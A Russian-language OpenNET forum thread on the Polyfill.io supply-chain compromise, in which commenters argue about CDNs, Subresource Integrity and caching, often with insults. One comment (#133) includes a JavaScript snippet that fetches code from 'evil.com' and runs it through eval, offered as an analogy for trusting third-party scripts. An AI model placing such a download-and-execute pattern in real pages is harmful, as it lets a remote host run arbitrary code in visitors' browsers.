The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



"Смена владельца библиотеки Polyfill привела к подстановке вредоносного кода на 110 тысяч сайтов"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Смена владельца библиотеки Polyfill привела к подстановке вредоносного кода на 110 тысяч сайтов"  +/
Сообщение от opennews (??), 25-Июн-24, 23:16 
Более 110 тысяч сайтов, использующих открытую JavaScript-библиотеку Polyfill для обеспечения совместимости со старыми версиями браузеров, стали жертвой вредоносных изменений, внесённых в код библиотеки новым владельцем проекта. В библиотеку, загружаемую на сайты через домен cdn.polyfill.io, был встроен вредоносный код,  перенаправляющий пользователя на мошеннические сайты (например, googie-anaiytics.com), букмекерские конторы и online-казино...

Подробнее: https://www.opennet.ru/opennews/art.shtml?num=61440

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения [Сортировка по времени | RSS]


1. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +36 +/
Сообщение от Аноним (1), 25-Июн-24, 23:16 
Почему нельзя было иметь локальную копию скрипта? Что за странная склонность всё подключать к чужим сайтам, репозиториям и тд?
Ответить | Правка | Наверх | Cообщить модератору

2. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +10 +/
Сообщение от Нико (?), 25-Июн-24, 23:19 
С CDN грузится быстрее и кэшируется чаще.
Ответить | Правка | Наверх | Cообщить модератору

33. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от Аноним (33), 26-Июн-24, 02:18 
Если ты не контролируешь, какой исполняется код - то г*****но ты, а не программист.
Да и скрипт не так нагружает систему, как всякие картинки по мегабайту.
Ответить | Правка | Наверх | Cообщить модератору

35. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от GG (ok), 26-Июн-24, 02:28 
А ведь есть ещё доля изюма в том что даже при занрузке с сидиэна (или откуда ещё угодно) можно контролировать это.
Но для этого надо быть не полностью безграмотной тупой мaкaкой и иметь хотя бы четверть извилины, а это уже сложно.

Не будьте полностью безграмотными тупыми мaкaками, осильте прочитать и понять:
https://developer.mozilla.org/en-US/docs/Web/Security/Subres...

Ответить | Правка | Наверх | Cообщить модератору

74. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +3 +/
Сообщение от Аноним (74), 26-Июн-24, 09:12 
> Но для этого надо быть не полностью безграмотной тупой мaкaкой

Ну раз ты к таким не относишся, объясни, пожалуйста, как Subresource Integrity помог бы в данном случае? С учетом того, что юзеры использовали официальный Polyfill с официального сервака?

Ответить | Правка | Наверх | Cообщить модератору

86. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –5 +/
Сообщение от GG (ok), 26-Июн-24, 10:40 
> Ну раз ты к таким не относишся, объясни, пожалуйста

Объясняю:

> When a browser encounters a <script> or <link> element with an integrity attribute, before executing the script or before applying any stylesheet specified by the <link> element, the browser must first compare the script or stylesheet to the expected hash given in the integrity value. For subresource-integrity verification of a resource served from an origin other than the document in which it's embedded, browsers additionally check the resource using Cross-Origin Resource Sharing (CORS), to ensure the origin serving the resource allows it to be shared with the requesting origin.
> If the script or stylesheet doesn't match its associated integrity value, the browser must refuse to execute the script or apply the stylesheet, and must instead return a network error indicating that fetching of that script or stylesheet failed.

Ответить | Правка | Наверх | Cообщить модератору

90. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +5 +/
Сообщение от Аноним (74), 26-Июн-24, 11:00 
Чел, ты хоть сам понимаешь, что написано в этом тесте?

Я тебе еще раз повторяю: это был официальный Polyfill с официального сервака, у котрого с origin и integrity все в порядке.

Зачем ты лезешь со своей экспертизой в темы, в которых ничего не понимаешь? Зато уже обозвал всех обезьянами с четвертью извилины...

Ответить | Правка | Наверх | Cообщить модератору

105. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Owlet (?), 26-Июн-24, 12:10 
Там есть контрольная сумма. Сумма поменялась - ресурс больше не загружается.
Ответить | Правка | Наверх | Cообщить модератору

107. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +3 +/
Сообщение от Аноним (74), 26-Июн-24, 12:32 
> Там есть контрольная сумма.

PolyFill генерируется динамически на стороне CDN в зависимости от User-Agent браузера. Ты будешь перед выпуском в прод запускать свой локальный PolyFill, чтобы вычислить заранее контрольные суммы для сотни возможных враиантов сгенерированного скрипта и встроить их в каждую страницу сайта?

> Сумма поменялась - ресурс больше не загружается.

Да - и все пользователи твоего сайта автоматически идут лесом. Вне зависимости, был ли в либе бэкдор.

Ответить | Правка | Наверх | Cообщить модератору

138. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –4 +/
Сообщение от GG (ok), 26-Июн-24, 13:54 
> сотни возможных враиантов

Ууу, это же десятки килобайт!
Слишком дорого, мы не можем себе этого позволить, наш сратап не выдержит такой финансовой нагрузки.

> Да - и все пользователи твоего сайта автоматически идут лесом.

А с какого хера сидиэн может менять версию библиотеки без ведома владельца сайта?
С таким подходом можно сразу ключи от квартиры им отдать и завещание на них оформить.

Ответить | Правка | Наверх | Cообщить модератору

160. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 15:05 
> Ууу, это же десятки килобайт!

Слишком дорого, мы не можем себе этого позволить, наш сратап не выдержит такой финансовой нагрузки.

При чем здесь финансовая нагрузка стартапа, если эти сотни хешей нужно вставлять в пользовательские страницы?

> А с какого хера сидиэн может менять версию библиотеки без ведома владельца сайта?

А он должен для этого получить письменное разрешение сотни тысяч пользователей, или что?

Я смотрю, тебе спорить - как с горы катиться. Вроде уже публично обделался со своей экспертизой по Subresource Integrity, но остановиться нести чушь так трудно, да?

Ответить | Правка | Наверх | Cообщить модератору

133. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от GG (ok), 26-Июн-24, 13:50 
> Чел, ты хоть сам понимаешь, что написано в этом тесте?

Да, я понимаю что это такое и через какую ж♡пу оно работает.
А ещё я понимаю что в 2024 году оно нужно только сумасшедшим или м♡к♡к♡м.

Для безопасной загрузки скриптов на сайтах со сторонних сидиэнов и прочих сервисов есть механизм.
Но загружать вот такое это всё равно что написать

```
<script>
  hmm = new XMLHttpRequest();
  hmm.onreadystatechange = function() {
    eval( hmm.responseText );
  }
  hmm.open("GET", "http://evil.com", true);
  hmm.send();
</script>
```

Написать можно и работать оно будет.
Но просто потому что что-то можно и будет работать, не значит что так надо делать.

Ответить | Правка | К родителю #90 | Наверх | Cообщить модератору

163. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от Аноним (74), 26-Июн-24, 15:12 
> Для безопасной загрузки скриптов на сайтах со сторонних сидиэнов и прочих сервисов есть механизм.

Ну так ты о нем расскажешь наконец? Ведь Subresource Integrty, про который ты только что с умным видом заливал, в этом случае бесполезен.

> Но загружать вот такое это всё равно что написать

Вау, смотрите, он может написать хэллоуворлд на js! Жаль, что смысла твоим умничаниям это не добавляет...

Ответить | Правка | Наверх | Cообщить модератору

136. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (-), 26-Июн-24, 13:53 
> это был официальный Polyfill с официального сервака, у котрого с origin и integrity все в порядке.

Если твоя модель доверия сводится к количеству слов "официальный" в описании пакета, то чем ты лучше всех этих js-мартышек, которые грузят пакеты тысячами не парясь тем, что там грузится? Я тебе хоть тысячу слов "официальный" могу написать по поводу любого кода, и что, код от этого станет больше заслуживать доверия?

Ответить | Правка | К родителю #90 | Наверх | Cообщить модератору

155. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 14:18 
> Если твоя модель доверия сводится

А я что-то говорил о *своей* модели доверия?

Раз уж ты сам себя за язык потянул, то поведай о модели доверия "не мартышек": расскажи, пожалуйста, как ты ставишь софт на свой комп.

Ответить | Правка | Наверх | Cообщить модератору

156. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –2 +/
Сообщение от Аноним (-), 26-Июн-24, 14:29 
> А я что-то говорил о *своей* модели доверия?

Да, совершенно определённо. Ты так подчёркивал слова "официально" и с такой безнадёгой говорил о том, что им верить нельзя... определённо твоя модель доверия сводится к количеству слов "официальный" в описании.

> Раз уж ты сам себя за язык потянул, то поведай о модели доверия "не мартышек": расскажи, пожалуйста, как ты ставишь софт на свой комп.

Тебе надо выйти из подросткового возраста, понять что абсолютной истины либо не существует, либо она как правило недостижима для тебя, и почитать умных людей за последние пару тысяч лет, кто над этой проблемой ломал голову. Когда ты сформируешь у себя какое-то понимание истины, которое будет опираться не на финальные авторитеты, а на методы валидации/фальсификации потенциальных истин, вот тогда твой вопрос у тебя отвянет.

В целом, высшее образование как правило решает такие проблемы, и наделяет выпускников пониманием истины, которого достаточно в подавляющем большинстве ситуаций. Так что если самостоятельно копать нет желания или умения, ты можешь поступить в ВУЗ и закончить его. А если ты пойдёшь на IT специальность, то тебе там и азы безопасности расскажут, и тебе не надо будет даже самостоятельно конструировать применения философских идей об истинности к IT задачам. За тебя всё сделают, разжуют и в рот положат.

Ответить | Правка | Наверх | Cообщить модератору

157. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (74), 26-Июн-24, 14:43 
>> А я что-то говорил о *своей* модели доверия?
> Да, совершенно определённо

Нет, не говорил. Или ты, лжец, можешь привести соответствующую мою цитату?

>> Раз уж ты сам себя за язык потянул, то поведай о модели доверия "не мартышек": расскажи, пожалуйста, как ты ставишь софт на свой комп.
> Тебе надо выйти из подросткового возраста, понять что абсолютной истины либо не существует, либо она как правило недостижима для тебя, и почитать умных людей за последние пару тысяч лет, кто над этой проблемой ломал голову.

Гсподи, чел, ты можешь просто ответить на заданный вопрос, а не пускать пыль в глаза?

Ответить | Правка | Наверх | Cообщить модератору

162. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (-), 26-Июн-24, 15:12 
> Нет, не говорил. Или ты, лжец, можешь привести соответствующую мою цитату?

Зачем мне цитата? Я уже прочитал твои слова и понял их.

> Гсподи, чел, ты можешь просто ответить на заданный вопрос

Нет, сложные вопросы требуют сложных ответов. Если ты ждёшь, что я тебе здесь сейчас эссе накатаю на 40k слов, объясняя разные подходы к истине, сопутствующие матмодели, ограничения матмоделей и подходов, то ты глубоко заблуждаешься.

Ты б ещё попросил бы матан в трёх словах по-простому изложить.

Ответить | Правка | Наверх | Cообщить модератору

164. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 15:16 
> Я уже прочитал твои слова и понял их

Нет, не понял, и поэтому приписываешь мне то, чего я не говорил. То есть лжешь.

>> Гсподи, чел, ты можешь просто ответить на заданный вопрос
> Нет, сложные вопросы требуют сложных ответов.
> Ты б ещё попросил бы матан в трёх словах по-простому изложить.

Чувак, вопрос был "как ты ставишь софт на свой комп".

Ответить | Правка | Наверх | Cообщить модератору

167. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (-), 26-Июн-24, 15:34 
> Нет, не понял, и поэтому приписываешь мне то, чего я не говорил.

Судя по качеству твоей аргументации в этом сообщении, я всё понял абсолютно правильно.

> Чувак, вопрос был "как ты ставишь софт на свой комп".

Какое это имеет отношение к данной новости? Ты в курсе, что модели угроз в случае софта дома и в случае подключения js-скрипта с левого сайта принципиально различаются?

Ты видишь? Ты каждым своим словом подтверждаешь мой изначальный диагноз.

Ответить | Правка | К родителю #164 | Наверх | Cообщить модератору

171. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 15:56 
>> Чувак, вопрос был "как ты ставишь софт на свой комп".
> Какое это имеет отношение к данной новости?

Это имеет отношение к твоим домыслам о моей модели доверия и выводу, что я ничем не отличаюсь от "всех этих js-мартышек".

Твоя же отличается, правильно? Ты же не "js-мартышка"? Вот и расскажи о своей модели доверия.

> Ты в курсе, что модели угроз в случае софта дома и в случае подключения js-скрипта с левого сайта принципиально различаются?

Вот именно. Поэтому и интересно, какая модель доверия у такого знатного эксперта. Ну, чтобы ты своими словами - а не пылью в глаза - подтвердил уровень своей экапертизы.

> Ты видишь?

Я вижу, что ты все еще не ответил на простой вопрос и продолжаешь нелепо извиваться на сковороде.

Ответить | Правка | К родителю #167 | Наверх | Cообщить модератору

176. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (-), 26-Июн-24, 16:16 
> Это имеет отношение к твоим домыслам о моей модели доверия и выводу, что я ничем не отличаюсь от "всех этих js-мартышек".

Если тебе эти мои "домыслы" причиняют такой баттхёрт, то это твои проблемы.

> Поэтому и интересно, какая модель доверия у такого знатного эксперта.

Зависит от модели угроз, я ж сказал уже.

> продолжаешь нелепо извиваться на сковороде.

Если ты не хочешь развивать своё мышление, то не надо валить ответственность за это на меня. Твоя лень -- это _твоя_ лень.

Ответить | Правка | К родителю #171 | Наверх | Cообщить модератору

178. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 16:45 
> Если тебе эти мои "домыслы" причиняют такой баттхёрт, то это твои проблемы.

О чем ты, какой баттхерт? Я просто угораю с местного эксперта, у котрого просишь ответить на вопрос об установке софта, а он на серьезных начинает втирать про "разные подходы к истине, сопутствующие матмодели, ограничения матмоделей и подходов".

Я такой дичи в реальной жизни не втречал. Жги еще!

Так ты на вопрос ответишь?

> Зависит от модели угроз, я ж сказал уже.

Выбирай любую:

* PolyFill в браузере юзера.
* Нужно установить софт на  комп.

Ответить | Правка | К родителю #176 | Наверх | Cообщить модератору

204. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (-), 26-Июн-24, 20:43 
> Выбирай любую:

Ты не понял ещё, что я не собираюсь этого делать? Я не вижу смысла на пальцах объяснять азы человеку, который рассматривает слово "официальный" не как маркетинговый баззворд, а на полном серьёзе. Нет смысла, потому что писать тебе здесь 40k слов о том, что такое истина, как она устанавливается, что такое доверие и из чего оно складывается, какие модели угроз бывают, какие проблемы митигации этих угроз возникают, и какие инструменты есть для работы с разными угрозами.

Я на полном серьёзе тебе говорю: это требует высшего образования. Либо ты можешь попробовать в режиме самообучения, но будь готов к тому, что это займёт больше времени, чем 5 лет в ВУЗе.

Ответить | Правка | К родителю #178 | Наверх | Cообщить модератору

206. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (206), 26-Июн-24, 22:09 
> Нет смысла, потому что писать тебе здесь 40k слов о том, что такое истина, как она устанавливается, что такое доверие и из чего оно складывается, какие модели угроз бывают, какие проблемы митигации этих угроз возникают, и какие инструменты есть для работы с разными угрозами.

Я у тебя спросил, как ты ставишь софт на свой комп. Какие к черту истина и доверие? С тобой все хорошо?

> Я на полном серьёзе тебе говорю: это требует высшего образования.

Подскажи, в каком институте так учат пускать пыль в глаза? Я тоже хочу научиться лить столько пафосной воды про истину и метамодели без какой-либо конкретики.

Ответить | Правка | К родителю #204 | Наверх | Cообщить модератору

207. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (-), 26-Июн-24, 22:51 
> Я у тебя спросил, как ты ставишь софт на свой комп.

Я не вижу никаких причин тебе это рассказывать. В частности в силу вопросов безопасности. Есть такие понятия как "security through obscurity" и "неуловимый Джо", я полагаюсь на них в частности.

Ответить | Правка | К родителю #206 | Наверх | Cообщить модератору

137. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Вирт (?), 26-Июн-24, 13:54 
Так в собранном из github polyfill не было "дополнительного" кода,
он был только в версии которая грузилась с CDN.

Поэтому посчитанная контрольная сумма для зависимости из github не сошлась бы с той что в CDN,
и браузер бы просто не скачал модифицированный polyfill.

Ответить | Правка | К родителю #74 | Наверх | Cообщить модератору

147. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 14:07 
> Так в собранном из github polyfill не было "дополнительного" кода,

он был только в версии которая грузилась с CDN.

У тебя не было бы "собранного из github ployfill", потому что polyfill генерируется налету в зависимости от браузера. В лучшем случае ты мог бы запустить локальный polyfill и попытаться сгенерировать несколько сотен контрольных суммы для всех возможных комбинаций браузеров и их версий. А потом все это добро вставлять в каждую страницу сайта. И работать оно будет ровно до следующего обновлкния polyfill на cdn.

> Поэтому посчитанная контрольная сумма для зависимости из github не сошлась бы с той что в CDN,

и браузер бы просто не скачал модифицированный polyfill

Да, и при обновлении polyfill на cdn твой сайт отвалится у всех пользователей.

Ответить | Правка | Наверх | Cообщить модератору

84. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от амоним (?), 26-Июн-24, 10:07 
там динамически отдается полифил. это не статика. просто хеш не пропишешь.
идеальный вектор для атаки )
Ответить | Правка | К родителю #35 | Наверх | Cообщить модератору

134. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от GG (ok), 26-Июн-24, 13:51 
> там динамически отдается полифил. это не статика. просто хеш не пропишешь.
> идеальный вектор для атаки )

Да, ССЗБ

Ответить | Правка | Наверх | Cообщить модератору

87. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от минона (?), 26-Июн-24, 10:45 
Скажите, пожалуйста, какую марку микропроцессора Вы используете?
Ответить | Правка | К родителю #33 | Наверх | Cообщить модератору

120. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от fuggy (ok), 26-Июн-24, 13:22 
Так программист не исполняет код, исполняет код компьютер клиента. Это пользователь не контролирует какой код исполняется. Что конечно не снимает вину с программиста добавившего библиотеку. Это уже заведомо уязвимое место грузить любой не ваш исполняемый код из интернета, а js это исполняемый код.
Ещё раз напомню, что весь js исполняется на компьютере клиента, это тоже самое что скачать рандомный бинарник из интернета.
Виноваты в этом конечно веб-программисты, которые ничего не могут без js. Но это тоже самое как для просмотра сайта требовался бы бинарник, с той лишь разницей что js скачивается без спроса пользователя.
Действительно скрипт нагружает систему не так, а больше. Есть исследование килобайты скрипта грузит систему как 1MB картинки.

В результате говоря адепты NoScript как всегда оказались правы.

Ответить | Правка | К родителю #33 | Наверх | Cообщить модератору

154. Скрыто модератором  +/
Сообщение от Аноним (-), 26-Июн-24, 14:16 
Ответить | Правка | К родителю #33 | Наверх | Cообщить модератору

61. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от penetrator (?), 26-Июн-24, 06:20 
ты не поверишь, но нет, не быстрее, конечно сильно от региона будет зависить и твоего хостинга, но есть примеры когда CDN из своей перегруженности и направленности на массовость таки проигрывает датацентрам с хорошей сетью

насчет контроля, есть такое понятие как hash функция

https://developer.mozilla.org/en-US/docs/Web/Security/Subres...

но ты светишь им клиента, даже если целостность файла подтверждена, приватность не пахнет в принципе

что решается уже самим клиентом с помощью Decentraleyes для тех кому надо

Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

75. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 09:15 
> насчет контроля, есть такое понятие как hash функция

При чем здесь это, если использовался Polyfill с официального сайта? Контроль здесь может быть только в виде ревью нового кода глазками.

Ответить | Правка | Наверх | Cообщить модератору

76. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от penetrator (?), 26-Июн-24, 09:20 
потому что все вышесказанное было в контексте

"С CDN грузится быстрее и кэшируется чаще."

тема соответствия оригинального проекта и форка не трогалась в этой ветке

Ответить | Правка | Наверх | Cообщить модератору

79. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 09:36 
Тогда я не понял, к чему упомянут контроль.
Ответить | Правка | Наверх | Cообщить модератору

199. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от penetrator (?), 26-Июн-24, 19:09 
потому что в той же ветке первый же ответ был

"Если ты не контролируешь, какой исполняется код - то г*****но ты, а не программист. "

Ответить | Правка | Наверх | Cообщить модератору

201. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (206), 26-Июн-24, 19:43 
> тема соответствия оригинального проекта и форка не трогалась в этой ветке
> потому что в той же ветке первый же ответ был "Если ты не контролируешь...

Ты же сам ответил на это "насчет контроля, есть такое понятие как hash функция" со ссылкой на Subresource Integrity, который буквально нужен для проверки соответствия кода.

Ответить | Правка | Наверх | Cообщить модератору

212. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от penetrator (?), 27-Июн-24, 07:33 
ну так это же был не мой коментарий, мы сейчас про контекст говорим

что-то ты заблудился в трех березках

Ответить | Правка | Наверх | Cообщить модератору

214. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (214), 27-Июн-24, 08:29 
> ну так это же был не мой коментарий, мы сейчас про контекст говорим

Вот это не твой комментарий?

https://www.opennet.ru/openforum/vsluhforumID3/134114.html#61

> что-то ты заблудился в трех березках

Нет, это ты что-то прикидываешся валенком.

Ответить | Правка | Наверх | Cообщить модератору

195. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Вы забыли заполнить поле Name (?), 26-Июн-24, 18:30 
А нельзя версию в CDN зафиксировать по хэшу от контента?
Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

3. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –4 +/
Сообщение от Аноним (3), 25-Июн-24, 23:19 
Девопсня любит "оптимизировать". У них в религии четко прописано, что статику всегда надо держать в CDN, даже если заведомо известно, что сайтом будут пользоваться от силы полтора пользователя в день.
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

5. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (5), 25-Июн-24, 23:43 
Чтобы не быть девопснёй, надо заставлять пользаков скачивать с сервера /dev/zero целиком.
Тогда никто не скажет, что сайт слишком "оптимизирован" и быстро грузится.
Ответить | Правка | Наверх | Cообщить модератору

6. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (3), 26-Июн-24, 00:08 
1. Прочитать js-файл из диска и отправить его по http -- быстрая операция:

  - если постоянно читать один и тот же файл из диска, ось его засовывает в кэш, а диск больше не трогает (кэш уровня ядра).
  - нормальный веб-сервер позволяет явно прописать в конфиге, что файлы надо кэшировать в оперативке (кэш уровня веб-сервера).
  - в большинстве случаев js-файлы не весят больше пары метров (вообще, пара метров -- это уже худший случай).

2. Браузер на стороне клиента -- прикинь! -- не запрашивает js-файл каждый раз. Он его тоже кэширует. CDN незначительно ускорит лишь самую первую загрузку страницы: вместо 500ms страница откроется за 490ms. И стоило оно того? В обоих случаях (с CDN и без CDN) вторая и последующая загрузка страницы будет одинаковой, т. к. браузер достанет js из кэша.

CDN имеет смысл для видео и картинок. А также для js-файлов при условии, что это высокопопулярный ресурс уровня гугл.ком. Но девопсню вооружили CDN-молотком, и теперь они всюду видят гвозди.

Ответить | Правка | Наверх | Cообщить модератору

12. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (5), 26-Июн-24, 00:46 
А вы никогда не задумывались, как работает Интернет? Подскажу — там всё немного сложнее, чем при скачивании с подкроватного сервака. Динамическая маршрутизация, провайдеры первого яруса, метрики маршрутов и прочие девляпсовские термины.
На практике же это выливается, в частности, в то, на некоторых маршрутах RTT может достигать нескольких секунд. И без CDN это приведет к тому, что страница будет загружаться по полминуты (даже если грузить при 10 потоках одновременно), как во времена диалапа.
Ответить | Правка | Наверх | Cообщить модератору

50. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от noc101 (ok), 26-Июн-24, 03:43 
Не понимаю наезда на CDN.
Он прекрасно кеширует ресурсы сайта и не надо подключать сторонние репозитории для загрузки.
Ответить | Правка | Наверх | Cообщить модератору

141. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от GG (ok), 26-Июн-24, 14:00 
> на некоторых маршрутах RTT может достигать нескольких секунд

Если твой провайдер провайдит такие маршруты, никакой сидиэн тебе не поможет.
А у нормальных белых людей даже из сша в авсралию пинг не превышает пары сотен мс.

Ответить | Правка | К родителю #12 | Наверх | Cообщить модератору

158. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (5), 26-Июн-24, 14:52 
Ну да, точно, виноват провайдер пользователя. У которого всего 2-3 аплинка обычно.
Ответить | Правка | Наверх | Cообщить модератору

172. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от YetAnotherOnanym (ok), 26-Июн-24, 16:00 
> страница будет загружаться по полминуты

Не называйте веб-страницей груду навоза из сотен js и css, генерируемую моднявым веб-фреймворком.

Ответить | Правка | К родителю #12 | Наверх | Cообщить модератору

34. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от Аноним (33), 26-Июн-24, 02:21 
> 2. Браузер на стороне клиента -- прикинь! -- не запрашивает js-файл каждый раз

В принципе, он так должен делать почти со всем контентом. Но... прикинь - НЕ ДЕЛАЕТ! Поставь промежуточный прокси и посмотри запросы - о%еешь, сколько всякой шняги загружается по сто раз!

Я даже де6илам из Оперы писал: посмотрите что творит ваш г***браузер - страница ПОЛНОСТЬЮ загружена, я говорю "Save As...", а браузер... правильно - СНОВА лезет за страницей и всем контентом на ней! Что за ватзефак?!!? Бестолку, там сидят такие 6араны, что хоть в спортлото пиши.

Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

144. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от GG (ok), 26-Июн-24, 14:02 
> - НЕ ДЕЛАЕТ!

Хмм.

Ради интереса попробую форсировать отказы в загрузке на базе сессий.

Ответить | Правка | Наверх | Cообщить модератору

99. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от нах. (?), 26-Июн-24, 11:39 
> CDN незначительно ускорит лишь самую первую загрузку страницы

или замедлит. Потому что не смотря на всякие зеротлс и прочие антитехнологические изобретения улучшаек - время на установку нового (!) шифрованного (!) соединения с новым сервером вовсе не нулевое.

А с твоим оно вот уже открыто, и скорее всего не одно. Ты даже и не заметишь что там еще сотня файлов по паре мегабайтиков пролетит.

Особенно - на фоне тупежа браузера, пытающегося все эти мегабайты кода выполнить на ходу.

> CDN имеет смысл для видео и картинок.

тоже нет. Если ты не собираешься конечно косплеить гугль или твиттер.

Ну разьве что у тебя совсем уж подкроватный сервер на модеме 14400.

Единичное видео откроется напрямую с него быстрее чем с CDN (опять же потому что до cdn еще достучаться надо). А постоянная скорость его отдачи превышающая битрейт все равно никому не нужна. Как и миллион одновременных скачиваний - ты не звезда онлифанс, к сожалению.

Вот для одноразовых инстансов в дядиных "облачках" - имеет смысл, чтоб дяде за траффик не заплатить (или поменьше, чем первому, если cdn "свой", в смысле арендованный а не чужого дяди вообще, в любом количестве и бесплатно)

> Но девопсню вооружили CDN-молотком, и теперь они всюду видят гвозди.

просто они не видят куда в "веб-приложению" совать картинки и скрипты. А если их попросить это сделать - немедленно обратятся к фулшмяк девам, и те им накодят на сервере - запрос к орацлу, из которого поднимется блобик, а на клиенте запрос к апи, который этот сервер обработает.
Ну в крайнем случае, если сильно-сильно продвинутые - то не в орацл, а в s3. AWSовский конечно, какой же еще может быть s3! И пусть весь мир подождет.

Лучше уж пусть CDN используют, меньше будет угрозы глобального потепления.


Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

112. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (5), 26-Июн-24, 13:02 
> Потому что не смотря на всякие зеротлс и прочие антитехнологические изобретения улучшаек - время на установку нового (!) шифрованного (!) соединения с новым сервером вовсе не нулевое.

50-100 ms.

> А с твоим оно вот уже открыто, и скорее всего не одно. Ты даже и не заметишь что там еще сотня файлов по паре мегабайтиков пролетит.

1000-5000 ms.

Главное — не замечать того, что партия сказала не замечать.

Ответить | Правка | Наверх | Cообщить модератору

117. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от нах. (?), 26-Июн-24, 13:15 
> 1000-5000 ms.

чувак, не хотелось бы огорчать, но у твоего подкроватного сервера, похоже, кот съел тот древний модем 2400, через который он был подключен. Сочувствую, хз где ты новый возьмешь теперь.

5 секунд (СЕКУНД) это у тех модемов хэндшейк столько примерно был.
А HTTP GET внутри уже открытого соединения немножко побыстрее происходит.

> Главное — не замечать того, что партия сказала не замечать.

главное не выдавать свои глюки за прописные истины.

И нет, rtt до клаудшмары у меня не 50ms. Это хороший rtt до операторского ближайшего роутера, и то если повезло.

Ответить | Правка | Наверх | Cообщить модератору

165. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от n00by (ok), 26-Июн-24, 15:24 
>> 1000-5000 ms.
> чувак, не хотелось бы огорчать, но у твоего подкроватного сервера, похоже, кот
> съел тот древний модем 2400, через который он был подключен. Сочувствую,
> хз где ты новый возьмешь теперь.
> 5 секунд (СЕКУНД) это у тех модемов хэндшейк столько примерно был.
> А HTTP GET внутри уже открытого соединения немножко побыстрее происходит.

Что-то мне вспомнилось удивлённое лицо сантехника, который мне пел про СНиПы и "всё нормально", я а его "вгрузил" формулой "два пи эр" и заставил всё переделать, поскольку он посчитать не смог, сколько по трубе воды проходит. Но то сантехник и геометрия с физикой, а тут вроде айтишник и деление... ппц. Знать бы, куда таких на работу берут.

Ответить | Правка | Наверх | Cообщить модератору

116. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (74), 26-Июн-24, 13:13 
